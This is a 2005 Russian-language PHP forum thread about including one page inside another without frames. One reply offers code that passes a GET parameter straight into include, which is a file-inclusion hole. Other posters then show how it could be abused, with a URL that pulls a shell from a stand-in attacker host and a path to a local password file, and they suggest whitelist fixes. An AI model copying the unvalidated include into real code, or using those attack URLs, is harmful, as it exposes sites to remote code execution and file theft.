Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Как избавиться от фрейма?

9.8K
03 августа 2005 года
S_Kate
16 / / 03.08.2005
Хочу отобразить содержание другой php страницы не используя фрейм. Но функция fpassthru просто отображает код, а не выполняет его.
15
03 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by S_Kate
Хочу отобразить содержание другой php страницы не используя фрейм. Но функция fpassthru просто отображает код, а не выполняет его.


require(), require_once(), include(), include_once(), file(), fopen(). Выбирай:).

9.8K
03 августа 2005 года
S_Kate
16 / / 03.08.2005
Спасибо большое. А не подскажешь как сделать так чтобы это происходило при OnClick и в нужном месте.
304
03 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by S_Kate
Спасибо большое. А не подскажешь как сделать так чтобы это происходило при OnClick и в нужном месте.



Как вариант:

... onClick='window.location="your_page.php?incl"'

.......
......
<?
$incl=$_GET['incl'];
if(isset($incl)){include "need_page.php";};


А без перезагрузки страници кажисть никак...

?>

9.8K
03 августа 2005 года
S_Kate
16 / / 03.08.2005
Да, страница перезагружается. Но все равно ничего нет. И еще - ссылок то много, что же писать после include?
304
03 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by S_Kate
Да, страница перезагружается. Но все равно ничего нет. И еще - ссылок то много, что же писать после include?



Содержание need_page.php загоняешь в переменную по типу $content="<html><head><body>.....</html>"


... onClick='window.location="your_page.php?incl=need_page.php"'

.......
......
<?
$incl=$_GET['incl'];
if(isset($incl)){include $incl; echo $incl};

Разбирайся, проверял работает, но все зависит от того чем у тебя напичкана need_page.php

9.8K
03 августа 2005 года
S_Kate
16 / / 03.08.2005
Вот пасиба! Правда у меня $_GET не работает, зато с $HTTP_GET_VARS все получилось и даже $content не нужен.
15
03 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by S_Kate
Вот пасиба! Правда у меня $_GET не работает, зато с $HTTP_GET_VARS все получилось и даже $content не нужен.


Ой, кажеться дыркой попахивает:)). 2S_Kate - не делай так некогда!!!
Хорошо если всё так и останеться в этом виде:

 
Код:
your_page.php?incl=need_page.php
, а если будет
 
Код:
your_page.php?incl=http://hacksite.ru/shell.php
? Как ты думаешь, что будет?
304
04 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by shaelf
Ой, кажеться дыркой попахивает:)). 2S_Kate - не делай так некогда!!!
Хорошо если всё так и останеться в этом виде:
 
Код:
your_page.php?incl=need_page.php
, а если будет
 
Код:
your_page.php?incl=http://hacksite.ru/shell.php
? Как ты думаешь, что будет?



а проверку на наличие того или иного символа или набора символов действительно тяжело сделать...
Вариант 1. Проверка на наличие http:// без него с другого ресурса ничего не загрузишь...
Вариант 2. назвать все файлы к примеру includ_v1...includ_vn и делать проверку...
Вариант 3. Если файлов ограниченное кол-во создаем массив типа 0=>"include1.php",1=>"include2.php", и передаем численное значение и проверяем его is_numeric....

Дыра там была, согласен, но что значит не применяй никогда?...

15
04 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by Fenyx
а проверку на наличие того или иного символа или набора символов действительно тяжело сделать...
Вариант 1. Проверка на наличие http:// без него с другого ресурса ничего не загрузишь...
Вариант 2. назвать все файлы к примеру includ_v1...includ_vn и делать проверку...
Вариант 3. Если файлов ограниченное кол-во создаем массив типа 0=>"include1.php",1=>"include2.php", и передаем численное значение и проверяем его is_numeric....

Дыра там была, согласен, но что значит не применяй никогда?...


Просто человек этот чайник скорее всего, у него заработало и он рад. Скорее всего он тут больше и не появиться... А долго ли у него (неё) это проработает? Очередной script kiddes сломает и будет гордо звать себя хакером.

299
04 августа 2005 года
3D Bob
885 / / 18.04.2005
Цитата:
Originally posted by shaelf
Просто человек этот чайник скорее всего, у него заработало и он рад. Скорее всего он тут больше и не появиться... А долго ли у него (неё) это проработает? Очередной script kiddes сломает и будет гордо звать себя хакером.



Правильно чел сказал не применяй никогда...
И нафига делать проверки?

Маразм...
Создается массив

$array[0] = "file1.php";
$array[1] = "file2.php";
$array[2] = "file3.php";
$array[3] = "file4.php";
$array[4] = "file5.php";
$array[5] = "file6.php";


Далее ссылка..

*.php?file=1
Код
include $array[$_GET['file']]

Или еще...

if ($_GET['file']==0) include 'file1.php';
if ($_GET['file']==1) include 'file2.php';
if ($_GET['file']==2) include 'file3.php';
if ($_GET['file']==3) include 'file4.php';

А тот и правда НИКОГДА нельзя использовать.

shaelf Поривел далеко безобитный пример... Когда я бы делал много интересней...

your_page.php?incl=c:/Windows/Системный файл какой-нибудь с пассвордом от инета, забыл название))) Если чел на модеме.. Или еще чего интересного стырил бы)))

15
04 августа 2005 года
shaelf
2.7K / / 04.05.2005
Я бы конечно проверку по другому проводил... Но это уже другой разговор, у каждого своё:)
304
08 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by 3D Bob
Правильно чел сказал не применяй никогда...
И нафига делать проверки?

Маразм...
Создается массив

$array[0] = "file1.php";
$array[1] = "file2.php";
$array[2] = "file3.php";
$array[3] = "file4.php";
$array[4] = "file5.php";
$array[5] = "file6.php";


Далее ссылка..

*.php?file=1
Код
include $array[$_GET['file']]

Или еще...

if ($_GET['file']==0) include 'file1.php';
if ($_GET['file']==1) include 'file2.php';
if ($_GET['file']==2) include 'file3.php';
if ($_GET['file']==3) include 'file4.php';

А тот и правда НИКОГДА нельзя использовать.

shaelf Поривел далеко безобитный пример... Когда я бы делал много интересней...

your_page.php?incl=c:/Windows/Системный файл какой-нибудь с пассвордом от инета, забыл название))) Если чел на модеме.. Или еще чего интересного стырил бы)))



Мне так нравиться када люди начинают учить не прочивав полностью сообщение... Про массив то я упоминал...

304
08 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by shaelf
Я бы конечно проверку по другому проводил... Но это уже другой разговор, у каждого своё:)



Интересно, подкинь идейку какой бы ты алгоритм проверки применил...

299
08 августа 2005 года
3D Bob
885 / / 18.04.2005
Цитата:
Originally posted by Fenyx
Мне так нравиться када люди начинают учить не прочивав полностью сообщение... Про массив то я упоминал...


Я прочитал твоё сообщение полностью Задалбаешься все проверки делать. Тебе говорят как сделать выгодно и рационально, с профессиональным стилем.

304
08 августа 2005 года
Fenyx
707 / / 26.01.2005
Цитата:
Originally posted by 3D Bob
Я прочитал твоё сообщение полностью Задалбаешься все проверки делать. Тебе говорят как сделать выгодно и рационально, с профессиональным стилем.



Какие мы наблюдательные аж ужас, профессиональный стиль ... :D

Почитай внимательно там все проверки РАЗНЫЕ и надо быть очень умным человеком что бы их все сразу применять... И было бы интересно как такое вооще возможно!
Так что повторюсь, прежде чем отвечать, а тем более учить профессионалу нада читать научиться внимательно!

15
08 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by Fenyx
Интересно, подкинь идейку какой бы ты алгоритм проверки применил...


Для данного случая можно немного всё упростить, т.к. get запрос состовляет ?incl=1, ?incl=2 и т.д.

 
Код:
$incl = $_GET['incl'];
$max_num =3; # по желанию
if(!is_numeric($incl) || strlen($incl)>$max_num) {
# что-то делаем
}

что-то типа этого.
299
08 августа 2005 года
3D Bob
885 / / 18.04.2005
Цитата:
Originally posted by shaelf
Для данного случая можно немного всё упростить, т.к. get запрос состовляет ?incl=1, ?incl=2 и т.д.
 
Код:
$incl = $_GET['incl'];
$max_num =3; # по желанию
if(!is_numeric($incl) || strlen($incl)>$max_num) {
# что-то делаем
}

что-то типа этого.


На самом деле калссно.

8.8K
11 августа 2005 года
viktor_root
58 / / 10.08.2005
Слюшай пачему $_GET не работает ?
Расскажи, да ?:-?
15
12 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by viktor_root
Слюшай пачему $_GET не работает ?
Расскажи, да ?:-?


Какая версия PHP?

9.8K
12 августа 2005 года
S_Kate
16 / / 03.08.2005
Цитата:
Originally posted by shaelf
Какая версия PHP?


PHP 4.0.6, но у меня какая-то урезанная до безобразия версия, так что я не удивляюсь.

299
12 августа 2005 года
3D Bob
885 / / 18.04.2005
Цитата:
Originally posted by S_Kate
PHP 4.0.6, но у меня какая-то урезанная до безобразия версия, так что я не удивляюсь.


Качай не урезанаю
http://www.php.net/downloads.php

9.8K
12 августа 2005 года
S_Kate
16 / / 03.08.2005
Цитата:
Originally posted by 3D Bob
Качай не урезанаю
http://www.php.net/downloads.php


Нет уж, спасибо. Замучилась устанавливать. Да и не надо, я уже достала Denwer. Вроде работает.

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог